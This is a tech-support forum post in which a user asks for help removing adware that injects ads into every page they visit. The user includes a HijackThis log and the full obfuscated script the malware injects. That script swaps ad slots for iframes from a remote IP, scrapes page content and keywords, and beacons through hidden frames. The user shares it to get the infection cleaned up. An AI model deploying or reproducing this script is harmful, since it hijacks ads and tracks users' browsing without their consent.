Login  Search | |
| | Thread Tools |
30-Jun-2008, 07:29 AM
#1 | |||||
| Solved: Javascript injected at the end of the web pages Hi guys, I have a very frustrating problem here. Whenever I open a web page that has ads on it, a javascript gets injected at the end of the page which switches the ads to a random ad at yieldmanager.com. Even the google ads on top of this page got changed. Also, It prevents me from accessing the google SERPS, yahoo SERPS, myspace, facebook and some other sites. This happens on all browsers: Firefox, Opera & IE. Strange thing is that it happens only when I'm logged in as an administrator. When I log in as a guest, the problem is gone. I tried scanning with Kaspersky IS, Ad-Aware and Spybot, but nothing seems to help. Also tried ATF-Cleaner to delete temp files & cookies, but that didn't work either. Any help would be much appreciated. Thank you. Here's my HijackThis log: Code: Logfile of HijackThis v1.99.1
Scan saved at 13:06:43, on 30.06.2008
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Running processes:
H:\WINDOWS\System32\smss.exe
H:\WINDOWS\system32\winlogon.exe
H:\WINDOWS\system32\services.exe
H:\WINDOWS\system32\lsass.exe
H:\WINDOWS\system32\svchost.exe
H:\WINDOWS\System32\svchost.exe
H:\Program Files\Lavasoft\Ad-Aware\aawservice.exe
H:\WINDOWS\system32\spoolsv.exe
H:\WINDOWS\Explorer.EXE
H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe
H:\WINDOWS\RTHDCPL.EXE
H:\Program Files\CyberLink\PowerDVD\PDVDServ.exe
H:\WINDOWS\system32\RUNDLL32.EXE
H:\WINDOWS\system32\Rundll32.exe
H:\WINDOWS\system32\ctfmon.exe
H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe
H:\WINDOWS\system32\nvsvc32.exe
H:\WINDOWS\system32\svchost.exe
H:\Program Files\Winamp\winamp.exe
H:\WINDOWS\system32\vsjitdebugger.exe
H:\WINDOWS\system32\vsjitdebugger.exe
H:\WINDOWS\system32\vsjitdebugger.exe
H:\WINDOWS\system32\vsjitdebugger.exe
H:\Program Files\Opera\opera.exe
H:\Program Files\Mozilla Firefox\firefox.exe
H:\Program Files\Hijackthis\HijackThis.exe
R3 - Default URLSearchHook is missing
O2 - BHO: Adobe PDF Reader Link Helper - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - H:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: (no name) - {52F7B50D-0ADC-4868-B457-F888296C1F70} - H:\WINDOWS\system32\hgGVOedB.dll (file missing)
O2 - BHO: IEVkbdBHO - {59273AB4-E7D3-40F9-A1A8-6FA9CCA1862C} - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\ievkbd.dll
O2 - BHO: (no name) - {BD3C6F7C-6C8D-48F6-AC52-5E4071AEB257} - H:\WINDOWS\system32\vtUlMfGV.dll (file missing)
O4 - HKLM\..\Run: [AVP] "H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe"
O4 - HKLM\..\Run: [RemoteControl] "H:\Program Files\CyberLink\PowerDVD\PDVDServ.exe"
O4 - HKLM\..\Run: [QuickTime Task] "H:\Program Files\K-Lite Codec Pack\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
O4 - HKLM\..\Run: [NvMediaCenter] RUNDLL32.EXE H:\WINDOWS\system32\NvMcTray.dll,NvTaskbarInit
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE H:\WINDOWS\system32\NvCpl.dll,NvStartup
O4 - HKLM\..\Run: [NeroFilterCheck] H:\WINDOWS\system32\NeroCheck.exe
O4 - HKLM\..\Run: [BMf787e8ea] Rundll32.exe "H:\WINDOWS\system32\eaqeajng.dll",s
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions present
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present
O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions present
O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel present
O8 - Extra context menu item: Add to Banner Ad Blocker - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\ie_banner_deny.htm
O9 - Extra button: Web traffic protection statistics - {1F460357-8A94-4D71-9CA3-AA4ACF32ED8E} - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\SCIEPlgn.dll
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - H:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - H:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - H:\Program Files\Messenger\msmsgs.exe
O10 - Unknown file in Winsock LSP: h:\program files\bonjour\mdnsnsp.dll
O17 - HKLM\System\CCS\Services\Tcpip\..\{8DFECCE4-07ED-42C7-92B5-DDA6A3A4437F}: NameServer = 217.16.69.1 217.16.69.3
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - H:\Program Files\Common Files\Microsoft Shared\Help\hxds.dll
O20 - AppInit_DLLs: H:\PROGRA~1\KASPER~1\KASPER~1\mzvkbd.dll,H:\PROGRA~1\KASPER~1\KASPER~1\adialhk.dll,H:\PROGRA~1\KASPER~1\KASPER~1\kloehk.dll
O20 - Winlogon Notify: klogon - H:\WINDOWS\system32\klogon.dll
O20 - Winlogon Notify: vtUlMfGV - vtUlMfGV.dll (file missing)
O23 - Service: Lavasoft Ad-Aware Service (aawservice) - Lavasoft - H:\Program Files\Lavasoft\Ad-Aware\aawservice.exe
O23 - Service: Kaspersky Internet Security (AVP) - Unknown owner - H:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\avp.exe" -r (file missing)
O23 - Service: NVIDIA Display Driver Service (NVSvc) - NVIDIA Corporation - H:\WINDOWS\system32\nvsvc32.exe
Code: <script type="text/javascript" language="javascript">
var VwBxkVPFriTAJEkAKH;
nSntKyAVtIWhuIPQP = window.onload;
window.onload = miCCcKPltsBSWmUP;
var WsvAonWSnyfkNQdi;
bjMFkcSAFhEQlwh = "";
var BhocQfvRAITrEeQ= 258 - 16967;
aUqfMvKsYwyFXAXPGjc = "";
ITrRXKqmSKVGSMjBIl = "";
UKFbmVqbRppYlNRsI = hsKdmPIinGMBIAK(window.location.href);
var vLmIguDNQGJfBWjt;
EqvlXfScipStUwxfP = '155286';
var HdDNEilqcOfbmqBuSym= 7517 - 32038;
rICtjSSsFCTdpAtEGjc = '89D62EDA19614FEF9D642C62507F4299';
AdgoPDbxaqyTtNa = '11623354445511DDA091155286CFFFFF';
var jFuutKjEtYFSLFBTQH =18808;
nlrIiQpTRnCckDXYTB = 'mm2';
var UpDnHOcimVwjsNGRwG;
var NHmPBQXUkJyShxKrES =21570 + 21835;
cMJEqEMqPWXwyqYbD = new Array();
hhEjGHrdPNbtEyHF = new Array();
var TehISLGMutORFtgHs =12901 + 14489;
var arrAnti = new Array("vlaze\.com","sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b728x90',
'http://85.12.43.87/fls.geo/MK_728x90_29.html?a=b',
'728', '728', '90', '90',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b720x300',
'http://85.12.43.87/fls.geo/MK_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b468x60',
'http://85.12.43.87/fls.geo/MK_468x60_20.html?a=b',
'468', '468', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b336x280',
'http://85.12.43.87/fls.geo/MK_336x280_11.html?a=b',
'336', '336', '280', '280',
'',
''));
var arrAnti = new Array("vlaze\.com","sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b300x250',
'http://85.12.43.87/fls.geo/MK_300x250_13.html?a=b',
'300', '300', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b300x100',
'http://85.12.43.87/fls.geo/MK_300x100_1.html?a=b',
'300', '300', '100', '100',
'',
''));
var arrAnti = new Array("googlesyndication\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b250x250',
'http://85.12.43.87/fls.geo/MK_250x250_1.html?a=b',
'250', '250', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b240x400',
'http://85.12.43.87/fls.geo/MK_240x400_1.html?a=b',
'240', '240', '400', '400',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b234x60',
'http://85.12.43.87/fls.geo/MK_234x60_20.html?a=b',
'234', '234', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b180x150", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b180x150',
'http://85.12.43.87/fls.geo/MK_180x150_4.html?a=b',
'180', '180', '150', '150',
'',
''));
var arrAnti = new Array("sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b160x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b160x600',
'http://85.12.43.87/fls.geo/MK_160x600_35.html?a=b',
'160', '160', '600', '600',
'',
''));
var arrAnti = new Array("search42\.com","joybuyjoy\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b125x125", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b125x125',
'http://85.12.43.87/fls.geo/MK_125x125_2.html?a=b',
'125', '125', '125', '125',
'',
''));
var arrAnti = new Array("tube\.com","youporn\.com","sexthe\.net","games\.yahoo\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b120x90',
'http://85.12.43.87/fls.geo/MK_120x90_3.html?a=b',
'120', '120', '90', '90',
'',
''));
var arrAnti = new Array("sex","****","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b120x600',
'http://85.12.43.87/fls.geo/MK_120x600_3.html?a=b',
'120', '120', '600', '600',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x240", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};cMJEqEMqPWXwyqYbD.push(element);
hhEjGHrdPNbtEyHF.push(CreateCfmyepWtJUChlybFdXect_24578457887(
'b120x240',
'http://85.12.43.87/fls.geo/MK_120x240_2.html?a=b',
'120', '120', '240', '240',
'',
''));
vWBsfoNxQYWiVMrGR =8100 + 25706;
LXLYdtPQqddyYOC = new Array();
var XhUfvNIkUpyNdirH =9134 + 14369;
function miCCcKPltsBSWmUP()
{
UETLVwICDSfYfQWkKj =24145 + 5374;
var QxVRbuNNOHRBwtwsLkt;
var gNWoCvQDNymqBpgewE =16903;
window.onload = nSntKyAVtIWhuIPQP;
if (nSntKyAVtIWhuIPQP != null)
{
nSntKyAVtIWhuIPQP();
var keOqdodTxKKGeTOLgy= 9966 - 31067;
}
if (!document || !document.body || !document.body.childNodes)
{
return;
var EuSNILRgFirfTtOstl= 16250 - 477;
}
if ( document.referrer && document.referrer.indexOf("85.12.43.83") >= 0)
return;
bjMFkcSAFhEQlwh = ivcHGGaLLatLvwLOn();
var rTKCyyloKOtdJygKBe =23906 + 1940;
aUqfMvKsYwyFXAXPGjc = xismnBTkdXsatJHot();
var FkCPmiiHCDsBpPBe =7474 + 28905;
ITrRXKqmSKVGSMjBIl = UCVNlokVYALmhhAqu(document.body);
var NTBNVUmjXJHNbnjMGy= 2542 - 12346;
YWCDGoXVYGeOgjG();
eFUsrsKMtiPgIQkG = 4359;
if(iCOLylNmhfjqiUOJUER())
{
var iWsUsQBxDBbUGSr= 29813 - 10633;
document.body.style.marginLeft = '0';
CAOnwweaPeenBfut =18604 + 6533;
document.body.style.marginTop = '0';
var XfobplXXLrOqaiLBUV =23918 + 24742;
return;
}
var lofPigyjevQmtWwSgM;
QxVRbuNNOHRBwtwsLkt = document.body.childNodes;
IgnOSFdmxYpsmwOl(hhEjGHrdPNbtEyHF, QxVRbuNNOHRBwtwsLkt, 0);
NWRKVTDuAEvHWPxU = 18995;
}
function HVxvGblEEOLBEDMYs(millis)
{
var date = new Date();
var curDate = null;
do {
curDate = new Date();
}
while(curDate-date < millis);
}
function ivcHGGaLLatLvwLOn()
{
var temp = "";
var e;
YNYdpiclOCwMHVpSb =13856 + 19226;
try
{
var JHALxvRopiGETYf;
temp = window.top.location.href;
}
catch(e)
{
var AClUowGGuyehTravRT =10492 + 53;
temp = window.location.href;
var HhWFasvoIPsROcO =13610 + 5226;
}
return temp;
var IDtLYGWGICFwxlcaT;
}
function hsKdmPIinGMBIAK(str)
{
ggKXkbJXvGTrMjY =101 + 13766;
if (str == null)
{
return "";
}
var HqVBowAxgkWmQcAN =13810;
str = escape(str);
var LafCtOQmEGQYgww =22120;
str = str.replace(/\+/g, "%2B");
var dIuwhWTpbqRsxbXa =24567 + 13386;
str = str.replace(/\//g, "%2F");
var SfnvuuSVKqFrRXCtMkF= 19074 - 22584;
return str;
}
function xismnBTkdXsatJHot()
{
var ajbxBUUNQRsHtQWls;
var e;
var str = "";
try
{
var gOrxwUHMDEDrWkJoq =27391 + 10956;
var head = window.top.document.getElementsByTagName('head').item(0);
var AhDMchMLAhFVAoolr;
if(head != null)
{
spslerJKswDIispoFk = 23370;
if (head.childNodes != null && head.childNodes.length > 0)
{
var HOTkROloaGnLiuKBlYW;
for(var y=head.childNodes.length-1; y>=0; y--)
{
var child = head.childNodes.item(y);
xKsneWeTnWlFKVC = 363;
if(child.tagName == "META")
{
var EnvXQnVCAIixbGJ =2745;
str += "<META ";
if(child.content != "" && child.name == "keywords")
str += 'content="' + child.content + '" ';
var RBWWDDCDfHAXpWkwBP= 5913 - 13828;
str += " >\n";
var yINHplkNfpCMJiG =32062;
}
}
}
}
}
catch(e)
{
var qEkvSXvlFSVHeJN =7290;
}
MBFcMiODyILrhPeMMvl = 24237;
str = hsKdmPIinGMBIAK(str);
return str;
var gqffhvawQybWIMsvR= 26738 - 14434;
}
function ciRnyrlplKhqPFmpR(rulesetElement)
{
var JxXqwhotvxCtBNH =11635 + 17993;
var i;
if (rulesetElement.Global == 1)
{
return "_";
}
var mpokQleKePBAjkmJAxi;
for (i = 0; i < rulesetElement.AntiArr.length; i++)
if (document.location.href.indexOf(rulesetElement.AntiArr[i]) != -1)
{
BarxmksJYEEXOGJjjL =28042 + 20972;
return null;
}
for (i = 0; i < rulesetElement.ContentArr.length; i++)
{
var hgaiCDCGehtxnac= 32438 - 10015;
if (ITrRXKqmSKVGSMjBIl.indexOf(rulesetElement.ContentArr[i]) != -1)
return rulesetElement.ContentArr[i];
var RCTEXHginDFYrahLRTV;
}
for (i = 0; i < rulesetElement.MetaArr.length; i++)
{
if (aUqfMvKsYwyFXAXPGjc.indexOf(rulesetElement.MetaArr[i]) != -1)
return rulesetElement.MetaArr[i];
var ivaXtuinSXyPdufHhe =3224 + 7010;
}
for (i = 0; i < rulesetElement.UrlArr.length; i++)
{
var SSBlyTSvGrFvFjPR;
if (document.location.href.indexOf(rulesetElement.UrlArr[i]) != -1)
return rulesetElement.UrlArr[i];
var dbfbvjVfdToCMlJ;
}
return null;
iaNELaGWhLqpMVO = 31888;
}
function UCVNlokVYALmhhAqu(nodeElement)
{
var dBQxghwoCNRWCIN =24818;
var retStr = "";
sJDluUrmibJDFvsbUh = 7999;
if(null==nodeElement)
return "";
if (nodeElement.nodeValue != null)
retStr = nodeElement.nodeValue;
OoDYtbSSGxLkscXp = 2765;
var allChildrenNode = nodeElement.childNodes;
var OTTQefgdarCIAKm =24030 + 368;
if (allChildrenNode != null && allChildrenNode.length > 0)
{
var emvHiYhomVgjHbSs =11977;
for(var y=allChildrenNode.length-1; y>=0; y--)
{
var child = allChildrenNode.item(y);
var dASdyaTEwdjYLrGwgS;
retStr = retStr + UCVNlokVYALmhhAqu(child);
}
}
retStr = retStr + " ";
var jNUcWOstaTHVEIBfc= 12416 - 19178;
return retStr;
var ykCHveAHPfkwXlOa= 6012 - 11595;
}
function XUoBDoiNvVCjIHN(Obj)
{
var BvWwbHMSKkqJbTiHWOi =20081;
try
{
aWKmOfgpdIEWMCcXEXc = 24947;
var fr = document.createElement("IFRAME");
var cbkwhrkAyVQFoJhKE =17815 + 26653;
fr.framespacing = '0';
BygcULQYCbofGlqLJO = 31355;
fr.frameborder = 'no';
var MuEluXUrkFRTUhK =8186;
fr.scrolling = 'no';
YGwnYSFqGYawiQR = 23733;
fr.width = '0';
fr.height = '0';
QIPkDxdinirSvxu =18374 + 7354;
fr.marginWidth = "0";
jhjBYPfVknuxFDXdGI = 3442;
fr.marginHeight = "0";
fr.style.borderWidth = "0px";
var eaTiWHDkFKIteAPPUw;
fr.frameBorder = '0';
mWEQjoHGwJxAHlB =21789 + 2267;
fr.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
document.body.appendChild(fr);
var mbKyucyOmftSQhvpAC =5281 + 21745;
HVxvGblEEOLBEDMYs(500);
}
catch(e)
{
var NOQDSYvHMUiUnKlP= 9997 - 9861;
var img = new Image();
var KwqPSbiMSgJfcbIwt =3465 + 29994;
img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
HVxvGblEEOLBEDMYs(500);
}
}
function iCOLylNmhfjqiUOJUER()
{
var str;
OigWghghFoxHOsplQe =29178 + 8377;
var aid = EqvlXfScipStUwxfP;
var ss;
var i;
var yoySobiWsTWSjyoUX =19868 + 3775;
var WvTgeFsqXXRIvhkNQBU;
var SjCtvdbkdJdscnHsK= 25567 - 15583;
str = window.location.href;
var qtboUhuQBnjHYRt =20811 + 22638;
for(i = 0; i < LXLYdtPQqddyYOC.length; ++i)
{
var fSIwShNQCUuHCYo =23288 + 25191;
if(!LXLYdtPQqddyYOC[i].length)
continue;
RjBTOVrRJtYdBbho = 27184;
if(str.length < LXLYdtPQqddyYOC[i].length)
continue;
var XhcJgcrdWhuUHLBUQ;
if( (str.substr(0, LXLYdtPQqddyYOC[i].length) == LXLYdtPQqddyYOC[i])&&
(LXLYdtPQqddyYOC[i] != 'file://localhost/'))
{
var KBNCDAlLhWpmcqMM =11993;
return 1; }
var hvYRBGHuCxcrWAqvbo;
};
for(i = 0; i < str.length - aid.length + 1; i++)
{
DoOSJpGLvFjdENd =21036 + 12705;
ss = str.substr(i, aid.length);
var sXFEDVXtwaYMtKcU;
if(ss == aid)
return 1;
}
try { WvTgeFsqXXRIvhkNQBU = window.frameElement; }
catch(e) { WvTgeFsqXXRIvhkNQBU = null; }
var eknmtKnndHhKnvwqdY= 3430 - 32544;
if(WvTgeFsqXXRIvhkNQBU && ruOyvrIIfosmbvKML(hhEjGHrdPNbtEyHF, WvTgeFsqXXRIvhkNQBU))
{
return 1;
var JuGSWhfiTQIkDQw= 28749 - 21513;}
var mOIFccXAJmDcXydA;
return 0;
};
function YWCDGoXVYGeOgjG()
{
var i;
var SstUaxfEuqIvoQGq =18027;
var str;
for(i = 0; i < hhEjGHrdPNbtEyHF.length; ++i)
{
str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].FrSrc);
if(str.length)
LXLYdtPQqddyYOC.push(str);
var JqCKvDnEUXTHYkJ= 14105 - 14689;
str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].AHref);
qWiXvkYPLomDOdpY = 21926;
if(str.length)
LXLYdtPQqddyYOC.push(str);
eivMxiDBPyKOkWYCLRX =9065 + 5590;
str = IyxWOmspCeEuIwcmh(hhEjGHrdPNbtEyHF[i].ImgSrc);
var siuuyQirahMNCYkegp =31289;
if(str.length)
LXLYdtPQqddyYOC.push(str);
var RDIpdLDSWPnQgdDTsB= 30192 - 28470;
}
var CUsTestTCQjeReb= 409 - 1610;
}
function CEhchKtAIrPCHWAx(CfmyepWtJUChlybFdX)
{
var QJhhbWlDUIQTKEQTnA =11465 + 25066;
var FQirmPIWjaOlbVVQMI = document.createElement("IFRAME");
var noeVHGGLjPmLLmM =26990;
FQirmPIWjaOlbVVQMI.id = CfmyepWtJUChlybFdX.FrID;
var vyxWDjtWuihoFYT= 4071 - 22241;
FQirmPIWjaOlbVVQMI.name = CfmyepWtJUChlybFdX.FrName;
eagYmmoNhICdFdgQe = 6447;
FQirmPIWjaOlbVVQMI.framespacing = CfmyepWtJUChlybFdX.FrSpacing;
var PtWalNfEDBtQciu;
FQirmPIWjaOlbVVQMI.frameborder = CfmyepWtJUChlybFdX.FrBorder;
var nCaMSWWJsYduXrTDVJ= 9391 - 2004;
FQirmPIWjaOlbVVQMI.scrolling = CfmyepWtJUChlybFdX.FrScrolling ;
var hGxIUbDBdMVgUxntPq= 21894 - 13237;
FQirmPIWjaOlbVVQMI.width = CfmyepWtJUChlybFdX.FrWidthMin;
var fAHJLnFmfKsXcOWG =9196;
FQirmPIWjaOlbVVQMI.height = CfmyepWtJUChlybFdX.FrHeightMin;
var WsPavwWIdGIiVEIRT= 1740 - 18065;
FQirmPIWjaOlbVVQMI.marginWidth = "0";
FQirmPIWjaOlbVVQMI.marginHeight = "0";
SyDcfsfCexnDLbWCLt =28093 + 24036;
if(!FQirmPIWjaOlbVVQMI.frameborder || FQirmPIWjaOlbVVQMI.frameborder == 'no')
{
var iebqnjBrGafJpYMQ =31025;
FQirmPIWjaOlbVVQMI.style.borderWidth = "0px";
var ERToyQeKYTosMdTPVY= 20021 - 13978;
FQirmPIWjaOlbVVQMI.frameBorder = '0';
MbuoYHTKHDPxoipeW =7122 + 18944;
}
dyOuYCCxKNJIOoJPdlU = 8132;
FQirmPIWjaOlbVVQMI.src = CfmyepWtJUChlybFdX.FrSrc;
return FQirmPIWjaOlbVVQMI;
var ntCNBGQMRJAXVBmSJ =20138;
}
function UysmXOuHbnxmwlGlreE(ObjArray, El, flob)
{
var i, x, y;
var ygyqaATNVOisKvv;
try
{
var HfeQDqQDTwkadBKBb;
if(flob == 1)
{
x = El.width;
GMIKnWRFDqPeMTFlTuy = 23170;
y = El.height;
var IlPUQRGlPMMNPXHMNSm= 3922 - 23579;
}
else
{
x = El.getAttribute("width");
DJOgFaJxJRVQcMbC =28331 + 540;
y = El.getAttribute("height");
}
for(i = 0; i < ObjArray.length; ++i)
if(
( (x >= ObjArray[i].FrWidthMin) && (x <= ObjArray[i].FrWidthMax) ) &&
( (y >= ObjArray[i].FrHeightMin) && (y <= ObjArray[i].FrHeightMax) )
)
return ObjArray[i];
MhCOpnVEnpMLaHVArm =16404 + 31697;
}
catch(e){}
return null;
}
function ruOyvrIIfosmbvKML(ObjArray, El)
{
var i;
var KmvLfKYanhUnBqfOp =22673 + 6074;
try
{
if(El.id)
for(i = 0; i < ObjArray.length; ++i)
if(El.id == ObjArray[i].FrID)
return ObjArray[i];
var nFTQixKXuVPuuCtP;
}
catch(e) {}
return null;
var ynHFmRqXuyEhvsAgaeU= 285 - 26830;
}
</script>
|
| 
techguy.org/725889 |
| Tags |
injection, javascript  |
| Smart Search |
Find your solution! |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| |
| You Are Using:  |
Advertisements do not imply our endorsement of that product or service. All times are GMT -5. The time now is 10:38 PM. Copyright © 1996 - 2010 TechGuy, Inc. All rights reserved. Powered by vBulletin, Copyright © 2000 - 2010, Jelsoft Enterprises Ltd. |  |
